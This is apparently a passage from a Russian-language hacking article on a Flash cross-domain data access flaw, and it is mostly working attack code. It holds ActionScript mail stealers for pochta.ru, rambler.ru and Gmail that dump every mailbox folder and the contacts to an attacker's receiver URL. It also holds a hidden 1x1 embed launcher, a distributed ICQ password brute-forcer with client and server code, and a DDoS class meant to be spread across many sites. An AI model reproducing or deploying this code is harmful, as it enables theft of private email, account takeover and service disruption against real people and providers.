serverRequest(

baseUrl + folders[i],

onGetMessageList,

'GET');

}

}

 

 

function onGetMessageList(loadedData:String):Void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

 

// Parsing received data for links of messages

// Using external Js Regexp (Flash player < 9 doesn't support Regexp)

var links:Object = ExternalInterface.call(

'function(data) { return data.match(/(ShowLetter\\?[^\\"#]*)/ig); }',

loadedData.split("\\\"").join(''));

// Deleting similar links

for(var i in links) {

tmpMessageLinks[links[i]] = null; }

 

foldersDone++;

 

if(foldersDone == folders.length) {

// Concatenation (Object) tmpMessageLinks to (Array) allMessageLinks

for(var i in tmpMessageLinks) {

allMessageLinks.push(i); }

sendGetLinkRequsts();

}

}

 

 

function sendGetLinkRequsts():Void {

if(allMessageLinks.length) {

if(allMessageLinks.length < messagesUntilDump) {

messagesUntilDump = allMessageLinks.length; }

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

serverRequest(

baseUrl + '/' + allMessageLinks.shift() + '&',

onGetMessageContent,

'GET');

}

}

}

 

 

function onGetMessageContent(loadedData:String):Void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

serverRequest(

_level0.dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

 

messagesContent = new Array();

sendGetLinkRequsts();

}

}

 

 

function serverRequest(

requestUrl:String, onDataFunc:Function, method:String, vars:String):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

 

if(vars) { sender.decode(vars); }

 

loader.onData = onDataFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

// EOF

 

pochta.ru

Код для кражи всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]

Параметры:

·   dataReceiverUrl

·   [optional] messagesUntilDump

Требования:

·   Flash Player 9+

·   Javascript

/*

pochta.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, trash

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

 

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

 

if(dataReceiverUrl) {

import flash.external.ExternalInterface;

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array();

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

 

var messageId:String = referrer.match(/index=(\d+)/i)[1];

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '/view.php?index=' + messageId + '&partID=2&actionID=download_attach');

var folders:Array = new Array(

'/mailbox.php?mailbox=INBOX&', // Inbox

'/mailbox.php?mailbox=INBOX.Draft&', // Draft

'/mailbox.php?mailbox=INBOX.Sent&', // Sent

'/mailbox.php?mailbox=INBOX.Trash&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();

}

}

 

function onGetMessageList(loadedData:String, requestUrl:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

 

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(message\.php\?index=\d+)/ig);

var currentFolder:String = requestUrl.match(/\?(mailbox=[a-z\.]+)&/i)[1];

 

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link + '&' + currentFolder] = null; }

 

foldersDone++;

 

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

 

sendGetLinkRequsts();

}

}

 

 

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift());

loader.loadUrl();

}

}

}

 

 

function onGetMessageContent(loadedData:String, requestUrl:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

 

// EOF

Необходимый класс [LoadUrl.as]:

package {

import flash.net.*;

import flash.events.*;

 

public class LoadUrl {

private var requestUrl:String;

private var method:String;

private var vars:String;

private var onLoadFunction:Function;

// Constructor

public function LoadUrl(

requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {

this.requestUrl = requestUrl;

this.method = method;

this.vars = vars;

this.onLoadFunction = onLoadFunction;

}

public function setRequestUrl(requestUrl:String):void {

this.requestUrl = requestUrl;

}

public function getRequestUrl():String {

return(this.requestUrl);

}

public function loadUrl():void{

var request:URLRequest = new URLRequest(requestUrl);

request.method = method;

if(vars) { request.data = vars; }

var loader:URLLoader = new URLLoader();

 

loader.addEventListener(

Event.COMPLETE,

function() { onLoadFunction(loader.data, getRequestUrl()); } );

loader.addEventListener(

IOErrorEvent.IO_ERROR,

function() { loadUrl(); });

try {

loader.load(request);

} catch (error:Error) { return; }

}

}

}

 

rambler.ru

Код для кражи адресной книги и всех сообщений из директорий Inbox, Sent, Draft, Trash [AS3]

Параметры:

·   dataReceiverUrl

·   [optional] messagesUntilDump

Требования:

·   Flash Player 9+

·   Javascript

 

/*

rambler.ru Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all messages in next folders:

inbox, draft, sent, trash + contacts

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// [optional] messagesUntilDump:Number = Number of PMs per one dump

 

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

 

if(dataReceiverUrl) {

import flash.external.ExternalInterface;

if(!messagesUntilDump) { messagesUntilDump = 3; }

var messagesContent:Array = new Array();

var allLinks:Array = new Array('contacts.cgi');

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

// Getting referrer

var referrer:String = ExternalInterface.call(

"function() { return document.referrer; }").toString();

 

var messageId:String = referrer.match(/what=(\d+)/i)[1];

var mbox:String = referrer.match(/mbox=([a-z]+)/i)[1];

var baseUrl:String = referrer.substring(0, referrer.lastIndexOf('/'));

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '/mail.cgi?mode=obj;mbox=' + mbox + ';what=' + messageId + '.2;for=download');

var folders:Array = new Array(

'/mail.cgi?mode=mailbox;mbox=INBOX&', // Inbox

'/mail.cgi?mode=mailbox;mbox=SentBox&', // Sent

'/mail.cgi?mode=mailbox;mbox=DraftBox&', // Draft

'/mail.cgi?mode=mailbox;mbox=Trash&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

new LoadUrl(baseUrl + folder, onGetMessageList).loadUrl();

}

}

 

function onGetMessageList(loadedData:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

 

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(mail.cgi\?mode=obj;[^\"]+)/ig);

 

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link + '&'] = null; }

 

foldersDone++;

 

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

 

sendGetLinkRequsts();

}

}

 

 

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift());

loader.loadUrl();

}

}

}

 

 

function onGetMessageContent(loadedData:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + escape(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

 

// EOF

В примере используется класс LoadUrl такой же, как и для gmail.com (см. далее)

 

icqmail.com

На данном почтовом сервере присутствует описанная уязвимость, однако в ходе проверки обнаружились еще 3 активных XSS (поля from, to, cc), множество пассивных, поэтому писать exploit для данного сервиса я не стал, ибо использование активных XSS в данном случае эффективнее.

 

gmail.com

Данный почтовый сервис уязвим, если используется "Gmail's basic HTML view" (при отключенном Javascript). При переходе по ссылке в теле письма передается Referer. На основании двух параметров из Referer формируем адрес attachment. Exploit придется писать на AS3, т. к. понадобятся регулярные выражения без использования Javascript. Referer необходимо будет передавать клипу параметром, например, используя PHP + FlashVars.

Gmail's basic HTML view - http://mail.google.com/mail/h/

Код для кражи всех писем в директориях All Mail, Trash + contacts [AS3]

Параметры:

·   Referer - адрес присланного жертве письма

·   dataReceiverUrl

·   [optional] messagesUntilDump

 

Требования:

·   Flash Player 9+

 

/*

gmail.com Mail Stealer by Cenarius

Based on Cross-Domain Data Access via Flash [CDDAF] vulnerability

Steals all mail + contacts

Works in Gmail's basic HTML view

 

Email: ooohoow@gmail.com | Icq: 100732

*/

 

// Params:

// dataReceiverUrl:String = Url of data receiving script

// referer:String

// [optional] messagesUntilDump:Number = Number of PMs per one dump

 

var dataReceiverUrl:String = this.loaderInfo.parameters.dataReceiverUrl;

var referer:String = this.loaderInfo.parameters.referer;

var messagesUntilDump:Number = this.loaderInfo.parameters.messagesUntilDump;

 

if(dataReceiverUrl && referer) {

if(!messagesUntilDump) { messagesUntilDump = 3; }

 

var messagesContent:Array = new Array();

var allLinks:Array = new Array('?v=cl');

var allLinksObject:Object = new Object();

var foldersDone:Number = 0;

 

var baseUrl:String = referer.substring(0, referer.lastIndexOf('/'));

var th:String = referer.match(/th=([a-z0-9]+)/i)[1];

// Loading policy file / Expanding 'sandbox'

flash.system.Security.loadPolicyFile(baseUrl + '?realattid=file0&attid=0.1&disp=attd&view=att&th=' + th);

var folders:Array = new Array(

'/s=a&', // All Mail

'/s=t&'); // Trash

// Getting lists of messages in some folders (folders)

var loader:LoadUrl = new LoadUrl(null, onGetMessageList);

for each (var folder in folders) {

loader.setRequestUrl(baseUrl + folder);

loader.loadUrl();

}

}

 

 

function onGetMessageList(loadedData:String):void {

if(!loadedData) {

// Connect error || expanding 'sandbox' error

return; }

 

// Parsing received data for links of messages

var currentLinks:Array = loadedData.match(/(\?v=[^\"]+&th=[^\"]+)/ig);

 

// Deleting similar links

for each (var link:String in currentLinks) {

allLinksObject[link] = null; }

 

foldersDone++;

 

if(foldersDone == folders.length) {

for(var key:String in allLinksObject) {

allLinks.push(key); }

 

sendGetLinkRequsts();

}

}

 

 

function sendGetLinkRequsts():void {

if(allLinks.length) {

if(allLinks.length < messagesUntilDump) {

messagesUntilDump = allLinks.length; }

var loader:LoadUrl = new LoadUrl(null, onGetMessageContent);

for(var i:Number = 1; i <= messagesUntilDump; i++) {

// Getting content of message

loader.setRequestUrl(baseUrl + '/' + allLinks.shift() + '&');

loader.loadUrl();

}

}

}

 

 

function onGetMessageContent(loadedData:String):void {

if(messagesContent.push(loadedData) >= messagesUntilDump) {

// Dumping messages

var loader:LoadUrl = new LoadUrl(

dataReceiverUrl,

function() {},

'POST',

'data=' + encodeURIComponent(messagesContent.join('<br>')));

loader.loadUrl();

messagesContent = new Array();

sendGetLinkRequsts();

}

}

 

// EOF

Необходимый класс [LoadUrl.as]:

package {

import flash.net.*;

import flash.events.*;

 

public class LoadUrl {

private var requestUrl:String;

private var method:String;

private var vars:String;

private var onLoadFunction:Function;

// Constructor

public function LoadUrl(

requestUrl:String, onLoadFunction:Function, method:String = 'GET', vars:String = null):void {

this.requestUrl = requestUrl;

this.method = method;

this.vars = vars;

this.onLoadFunction = onLoadFunction;

}

public function setRequestUrl(requestUrl:String):void {

this.requestUrl = requestUrl;

}

public function getRequestUrl():String {

return(this.requestUrl);

}

public function loadUrl():void{

var request:URLRequest = new URLRequest(requestUrl);

request.method = method;

if(vars) { request.data = vars; }

var loader:URLLoader = new URLLoader();

 

loader.addEventListener(

Event.COMPLETE,

function() { onLoadFunction(loader.data); } );

loader.addEventListener(

IOErrorEvent.IO_ERROR,

function() { loadUrl(); });

try {

loader.load(request);

} catch (error:Error) { return; }

}

}

}

Пример запуска [PHP]

<?php $referer = urlencode($_SERVER['HTTP_REFERER']); ?>

<OBJECT

id="fl"

classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

width="1"

height="1"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">

<PARAM name="movie" value="fl.swf">

<PARAM name="FlashVars" value="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>">

<EMBED

name="fl"

src="fl.swf"

FlashVars="dataReceiverUrl=http://hsite.com/cDataReceiver.php<?php echo '&referer=' . $referer;?>"

width="1"

height="1"

swLiveConnect="true"

pluginspace="http://www.macromedia.com/go/flashplayer/">

</EMBED>

</OBJECT>

При просмотре результатов использовать кодировку UTF-8

 От необходимости поддержки браузером жертвы Javascript можно избавиться: для этого exploits надо писать на AS3, Referer получать используя, например, PHP, передавать его клипу посредством FlashVars (см. пример gmail.com)

Для проверки почтовых сервисов на XSS, CDDAF рекомендую использовать обновленную версию cXssTester. Для поиска XSS посылаем письмо на свой почтовый ящик и смотрим исходный код полученного письма, ищем недостатки в фильтрации. Для проверки на наличие CDDAF смотрим, возможно ли получить адрес прикрепленных к письму файлов или самого письма. Это можно сделать, получив Referer от жертвы, поэтому необходимо проверить, передается ли он при переходе по ссылке из письма, загружаются ли внешние HTML элементы. Также необходимо обратить внимание на наличие / отсутствие фильтрации кода сертификата в теле письма.

Пример распределенного перебора паролей (icq.com)

Рассмотрим распределенный перебор паролей на основе CDDAF на примере icq.com. Как я уже отмечал ранее, на сервере может присутствовать необходимый нам файл сертификата, причем неправильно настроенный (domain="*"). Яркий пример - icq.com (http://icq.com/crossdomain.xml).

Можно написать icq bruteforcer на основе сервиса ICQ2Go: клиентскую часть на AS1/2, серверную на PHP. В данном случае распределенный перебор паролей будет очень похож на сеть распределенного вычисления: клиент будет получать от сервера задание (пары uin:password), проверять их, отправлять результат серверу. Сервер будет выдавать клиентам задания (если клиент не посылает результат проверки в течение некоторого времени (clientTimeout), сервер отдаст это задание другому клиенту), записывать результаты, текущие параметры процесса перебора.

Скорость перебора будет зависить от числа клиентов (например, если разместить клиент на нескольких сайтах, то чем больше их суммарный online, тем выше скорость). Сразу отмечу, что после нескольких неудачных попыток аутентификации сервер icq блокирует клиента на некоторое время, поэтому для приемлемой скорости перебора необходим большой online (также необходимо правильно настроить таймауты в клиентской части).

В коде клиента я оставил информационные сообщения, их можно убрать (удалить строки вида st.text = "text";)

Клиент [AS1/2]

/*

Client for cIcqBrute by Cenarius

Email: ooohoow@gmail.com | Icq: 100732

Version: 0.2

*/

 

// -----------------------------------

// Config

// -----------------------------------

 

// Url of server, which sends tasks / receives reports

var serverUrl:String = 'http://localhost/cIcqBrute.php';

 

// Url of preferences for icq client

var preferencesUrl:String = 'http://download.icq.com/icq2go/flicq_preferences.xml';

 

// Hello server's path

var helloPath:String = '/hello';

 

// Data server's path

var dataPath:String = '/data';

 

// Number of combo for checking per one session

var comboPerSession:Number = 2;

 

// Freeze interval for hello tryes (seconds)

var globalFreezeTime:Number = 30;

 

// Timeout for each server (seconds)

var freezeInterval:Number = 60;

 

// Time in which preferences will be updated (hours)

var preferencesUpdateTime:Number = 24;

var transactionNumber:Number = 1000;

 

// -----------------------------------

// -----------------------------------

 

this.createTextField("st",1,20,50,500,500);

 

var preferences:SharedObject = SharedObject.getLocal("Preferences");

 

if(!preferences.data.checkedCombo) {

preferences.data.checkedCombo = 0; }

 

// Checking if freeze set

if(preferences.data.globalFreeze && preferences.data.globalFreeze >= new Date().valueOf()) {

st.text = "Freeze!\n";

var tmId = setInterval(

function() {

if(preferences.data.globalFreeze <= new Date().valueOf()) {

clearInterval(tmId);

checkCombo(); }

},

1000);

} else {

checkCombo(); }

 

function checkCombo():Void {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

 

if(preferences.data.comboExpires * 1000 < new Date().valueOf() or !getCurrentCombo()) {

var report:String = "id=";

 

if(preferences.data.comboExpires) {

report += preferences.data.comboExpires; }

var goodCombo:SharedObject = SharedObject.getLocal("Good");

report += "&good=";

for(var uin in goodCombo.data) {

report += uin + ':' + goodCombo.data[uin] + chr(182); }

st.text = "\n\t\t\t/* cIcqBruteforcer by Cenarius */\n\t\t\t\t\tversion 0.2\n\n";

st.text += "Sending good & getting new combo...\t";

// Sending good combo and loading new task

System.security.loadPolicyFile(serverUrl);

serverRequest(serverUrl, report, 'POST', onComboLoaded);

}

else {

st.text += "\n";

// Checking next combo

getCurrentCombo();

checkPreferences(); }

}

 

 

// Sets next combo and returns true

// Returns false if no combo remains

function getCurrentCombo():Boolean {

var combo:SharedObject = SharedObject.getLocal("Combo");

 

for(var uin in combo.data) {

if(combo.data[uin] != false) {

_global.currentUin = uin;

_global.currentPass = combo.data[uin];

return(true);

}

}

return(false);

}

 

 

function checkPreferences():Void {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

if(!preferences.data.helloServer or preferences.data.preferencesExpires < new Date().valueOf()) {

getPreferences(preferencesUrl); }

else {

// Sending Hello

st.text += "Sending hello...\t";

serverRequest(

preferences.data.helloServer + helloPath,

'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',

'GET',

onHelloDone);

}

}

 

 

function getPreferences(preferencesUrl:String):Void {

st.text += "Getting new preferences...\t";

var preferencesXML:XML = new XML();

preferencesXML.ignoreWhite = true;

preferencesXML.load(preferencesUrl);

preferencesXML.onLoad = function(success:Boolean) {

if(success) {

st.text += "done\n";

xmlParse("server_url", preferencesXML);

xmlParse("version", preferencesXML);

 

if(server_url) {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

 

preferences.data.preferncesExpires = new Date().valueOf() + preferencesUpdateTime*60*60*1000;

preferences.data.helloServer = server_url;

preferences.data.clientVersion = version;

 

// Sending Hello

st.text += "Sending hello...\t";

serverRequest(

preferences.data.helloServer + helloPath,

'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',

'GET',

onHelloDone);

}

else {

// No such node

}

}

else {

// Load error

}

}

}

 

// -----------------------------------

// OnLoad Functions

// -----------------------------------

 

function onComboLoaded(success:Boolean):Void {

if(success) {

st.text += "done\n";

var combo:SharedObject = SharedObject.getLocal("Combo");

var goodCombo:SharedObject = SharedObject.getLocal("Good");

var preferences:SharedObject = SharedObject.getLocal("Preferences");

combo.clear();

goodCombo.clear();

preferences.data.comboExpires = this.expires;

var comboArray = this.cmb.split(chr(182));

for(var uin in comboArray) {

combo.data[comboArray[uin].split(':')[0]] = comboArray[uin].split(':')[1];

}

getCurrentCombo();

checkPreferences();

} else {

// Making next try in 2 seconds

delay(checkCombo, 2000);

}

}

 

 

function onHelloDone(success:Boolean):Void {

if(success) {

st.text += "done\n";

st.text += "Data server: " + this.server + " [" + this.session + "]\n";

var servers:SharedObject = SharedObject.getLocal("Servers");

if(!checkExistence(this.server, "Servers") or servers.data[this.server].freezeTime <= new Date().valueOf()) {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

preferences.data.currentDataServer = this.server;

servers.data[preferences.data.currentDataServer] = new Object();

servers.data[preferences.data.currentDataServer].session = this.session;

st.text += "Sending login request...\t";

// Login try

serverRequest(

'http://' + this.server + dataPath,

'session=' + this.session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000',

'GET',

onLoginTry);

} else {

var preferences:SharedObject = SharedObject.getLocal("Preferences");

preferences.data.globalFreeze = new Date().valueOf() + globalFreezeTime * 1000;

st.text += "Delay " + globalFreezeTime + " 000 milliseconds\n";

delay(

function() {

// Sending Hello

st.text += "Sending hello...\t";

serverRequest(

preferences.data.helloServer + helloPath,

'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',

'GET',

onHelloDone);

}, globalFreezeTime * 1000);

}

} else {

checkCombo();

}

}

 

 

function onLoginTry(success:Boolean):Void {

if(success) {

var combo:SharedObject = SharedObject.getLocal("Combo");

var preferences:SharedObject = SharedObject.getLocal("Preferences");

var servers:SharedObject = SharedObject.getLocal("Servers");

st.text += "done [" + this.code + "]\n";

if(this.code == 1020) {

// Bad password

st.text += 'Bad: ' + currentUin + ":" + currentPass + "\n";

combo.data[currentUin] = false;

preferences.data.checkedCombo++;

}

else if(this.event == 2010) {

// Good password

st.text += 'Good: ' + currentUin + ":" + currentPass + "\n";

var goodCombo:SharedObject = SharedObject.getLocal("Good");

goodCombo.data[currentUin] = currentPass;

combo.data[currentUin] = false;

preferences.data.checkedCombo++;

}

if(preferences.data.checkedCombo >= comboPerSession or this.code == 1100) {

// Rate limit

servers.data[preferences.data.currentDataServer].freezeTime = new Date().valueOf() + freezeInterval * 1000;

preferences.data.checkedCombo = 0;

st.text += "Freezing: " + preferences.data.currentDataServer + " [" + servers.data[preferences.data.currentDataServer].freezeTime + "]\n";

if(getCurrentCombo()) {

st.text += "Getting next session\n";

// Sending Hello

st.text += "Sending hello...\t";

serverRequest(

preferences.data.helloServer + helloPath,

'locale=en&clver=' + preferences.data.clientVersion + '&clid=Wicked%5FTester&trans=' + getNextTransNum() + '&event=1500',

'GET',

onHelloDone);

} else {

checkCombo();

}

}

else {

if(getCurrentCombo()) {

// Login try

st.text += "Sending login request...\t";

serverRequest(

'http://' + preferences.data.currentDataServer + dataPath,

'session=' + servers.data[preferences.data.currentDataServer].session + '&isicqemail=0&pass=' + encrypt(currentPass) + '&enc=1&stat=0&sn=' + currentUin + '&trans=' + getNextTransNum() + '&event=2000',

'GET',

onLoginTry); }

else {

checkCombo();

}

}

} else {

checkCombo();

}

}

 

// -----------------------------------

// Auxiliary functions

// -----------------------------------

 

function serverRequest(

requestUrl:String, vars:String, method:String, onLoadFunc:Function):Void {

var sender:LoadVars = new LoadVars();

var loader:LoadVars = new LoadVars();

sender.decode(vars);

 

loader.onLoad = onLoadFunc;

sender.sendAndLoad(requestUrl, loader, method);

}

 

 

function checkExistence(server:String, soName:String):Boolean {

var _so:SharedObject = SharedObject.getLocal(soName);

for(var s:String in _so.data) {

if(s == server) {

return(true); }

}

return(false);

}

 

 

// Delay: starts func:Function in interval:Number milliseconds

function delay(func:Function, interval:Number) {

if(timeId) { clearInterval(timeId); timeId = false; func(); }

else { timeId = setInterval(delay, interval, func); }

}

 

// Parses dataNode:XMLNode, if founds nodeName:String

// initializes _global[nodeName_str] with value of node nodeName

function xmlParse(nodeName:String, dataNode:XMLNode) {

for (var node:XMLNode = dataNode.firstChild; node != null; node = node.nextSibling) {

if(node.nodeType == 1) {

if(node.nodeName == nodeName) {

_global[nodeName] = node.firstChild.toString(); }

if(node.hasChildNodes()) {

xmlParse(nodeName, node); }

}

}

}

 

 

// Returns next transaction number

function getNextTransNum():Number {

if(transactionNumber > 99999) {

transactionNumber = 1000; }

return(transactionNumber++);

}

 

 

// Encrypts string:String, returns encrypted string

function encrypt(string:String):String {

var encData:String = "";

for(var i = 0; i <= string.length - 1; i++) {

var firstChar = (string.charCodeAt(i) & 240) >> 4;

var secondChar = string.charCodeAt(i) & 15;

encData += String.fromCharCode(firstChar + 65) + String.fromCharCode(secondChar + 65);

}

return(encData);

}

 

// EOF

Сервер [PHP]

<?php

 

/*

Server for cIcqBrute by Cenarius

Email: ooohoow@gmail.com | Icq: 100732

 

Version: 0.1

*/

 

// --------------------------------

// Config

// --------------------------------

 

$comboFile = 'cmb.txt'; // File with combo (uin:password)

$goodFile = 'good.txt'; // File for dumping good combo

$tmpFile = 'combo_tmp.txt'; // File for writing temporary info of bruteforcing process

$comboPerClient = 2; // Number of combo in one client's task

$clientTimeout = 300; // Client timeout (seconds)

 

// --------------------------------

 

set_time_limit(0);

error_reporting(E_ALL ^ E_NOTICE);

 

if(!isset($_POST['id']) or !isset($_POST['good'])) {

echo '<?xml version="1.0"?><cross-domain-policy><allow-access-from domain="*" secure="false" /></cross-domain-policy>'."\";

exit();

}

 

if($_POST['id']) {

$tmpContent = file($tmpFile);

$clientCombo = parseTmp($tmpContent);

$comboOffset = trim($tmpContent[0]);

 

$clientCombo[(int)$_POST['id']] = 'del';

updateTmp($clientCombo, $comboOffset);

}

 

if($_POST['good']) {

$gHandle = fopen($goodFile, "a");

fwrite($gHandle, implode("\n", explode(chr(182), stripslashes($_POST['good']))));

fclose($gHandle);

}

 

if(!file_exists($comboFile) || !is_readable($comboFile)) {

exit("- Error: can't open/read <b>$comboFile</b>"); }

 

if(!file_exists($tmpFile) || filesize($tmpFile) == 0) {

$comboOffset = 0; }

else {

$tmpContent = file($tmpFile);

$clientCombo = parseTmp($tmpContent);

$comboOffset = trim($tmpContent[0]);

 

if($clientCombo) {

foreach(array_keys($clientCombo) as $liveTime) {

if(time() > $liveTime) {

list($offset, $amount) = split(':', $clientCombo[$liveTime]);

sliceCombo($offset, $amount);

$clientCombo[$liveTime] = 'del';

$id = time() + $clientTimeout;

echo '&expires=' . $id . "\";

$clientCombo[$id] = $offset . ':' . $amount;

updateTmp($clientCombo, $comboOffset);

exit();

}

}

}

}

 

$newOffset = sliceCombo($comboOffset, $comboPerClient);

$id = time() + $clientTimeout;

echo '&expires=' . $id . "\";

$clientCombo[$id] = $comboOffset . ':' . $comboPerClient;

updateTmp($clientCombo, $newOffset);

 

 

function parseTmp($tmpContent) {

$comboOffset = trim(array_shift($tmpContent));

 

if(!$comboOffset) {

exit(" - Error: wrong tmp file: <b>$tmpFile</b><br> Repair or delete it"); }

 

foreach($tmpContent as $str) {

if(preg_match("/(\d+)\t(\d+:\d+)\n/", $str, $matches)) {

$clientCombo[$matches[1]] = $matches[2];

}

}

 

return $clientCombo;

}

 

 

function sliceCombo($offset, $amount) {

global $comboFile;

 

$handle = fopen($comboFile, "r") or exit();

if(fseek($handle, $offset) == -1) {

exit(); }

 

$answer = 'cmb=';

for($i = 1; $i <= $amount; $i++) {

$answer .= trim(fgets($handle)) . chr(182); }

$answer = preg_replace("/".chr(182)."$/", "", $answer);

 

echo $answer;

$newOffset = ftell($handle);

 

fclose($handle);

return $newOffset;

}

 

function updateTmp($data, $mainOffset) {

global $tmpFile;

 

$tmpHandle = fopen($tmpFile, "w");

fwrite($tmpHandle, $mainOffset . "\n");

 

foreach(array_keys($data) as $liveTime) {

if($data[$liveTime] != 'del') {

fwrite($tmpHandle, $liveTime . "\t" . $data[$liveTime] . "\n");

}

}

fclose($tmpHandle);

}

?>

 Пример DDoS

Приведу простейший пример реализации DDoS на AS3. Клиент будет в некоторое количество потоков посылать серверу запрос и разрывать соединение. Для этого я написал класс на основе URLLoader [DDoS.as]:

package {

import flash.net.*;

import flash.events.*;

 

public class DDoS {

private var targetUrl:String;

private var method:String;

private var vars:String;

// Constructor

public function DDoS(

targetUrl:String, method:String = 'GET', vars:String = null):void {

this.targetUrl = targetUrl;

this.method = method;

this.vars = vars;

}

 

// Starts DDoS

public function init():void{

var request:URLRequest = new URLRequest(targetUrl);

request.method = method;

if(vars) { request.data = vars; }

var loader:URLLoader = new URLLoader();

loader.addEventListener(Event.OPEN, function() { loader.close(); init(); } );

try {

loader.load(request);

} catch (error:Error) { init(); }

}

}

}

Пример использования:

// Config

const policyFile = "http://site.com/cross.xml";

const threadsNumber = 15;

 

flash.system.Security.loadPolicyFile(policyFile);

var ddos:DDoS = new DDoS('http://site.com/search.php', 'POST', 'a=b&c=d');

 

for(var i:Number = 1; i <= threadsNumber; i++) {

ddos.init();

}

Полученный клип можно расположить на множестве сайтов: чем больше суммарный online, тем больше шансов на успех. 

Трудности при написании exploits

При написании эксплоитов для описанной уязвимости важно стремиться к максимальной универсальности, кросс-браузерности. При этом и возникают проблемы из-за того, что клиенты используют разные браузеры, разные версии Flash Player. Часто приходится использовать регулярные выражения, однако поддержка RegExp появилась только с Flash Player 9. Использовать RegExp в предыдущей версии плеера можно посредством вызова Javascript (класс ExternalInterface). Таким образом, если при написании exploit необходимо использовать регулярные выражения, есть два выхода:

>        Использовать RegExp Javascript'a через класс ExternalInterface:

+ Работа в Flash Player 8+

- Необходимость поддержки браузером клиента Javascript

 

>        Использовать RegExp в ActionScript 3:

+ Не требуется поддержка Javascript

- Работа только в Flash Player 9+

 

Примеры использования обоих методов были приведены разделе о практическом применении уязвимости. 

Заключение

На мой взгляд, в настоящее время хакеры для своих целей в основном используют Javascript, однако возможности Flash намного его превосходят (особенно с появлением ActionScript 3). Надеюсь, данная статья это продемонстрировала. Были рассмотрены наиболее общие способы применения уязвимости, однако только ими ее использование не ограничивается.

Ваша приватность умирает красиво, но мы можем спасти её.

Присоединяйтесь к нам!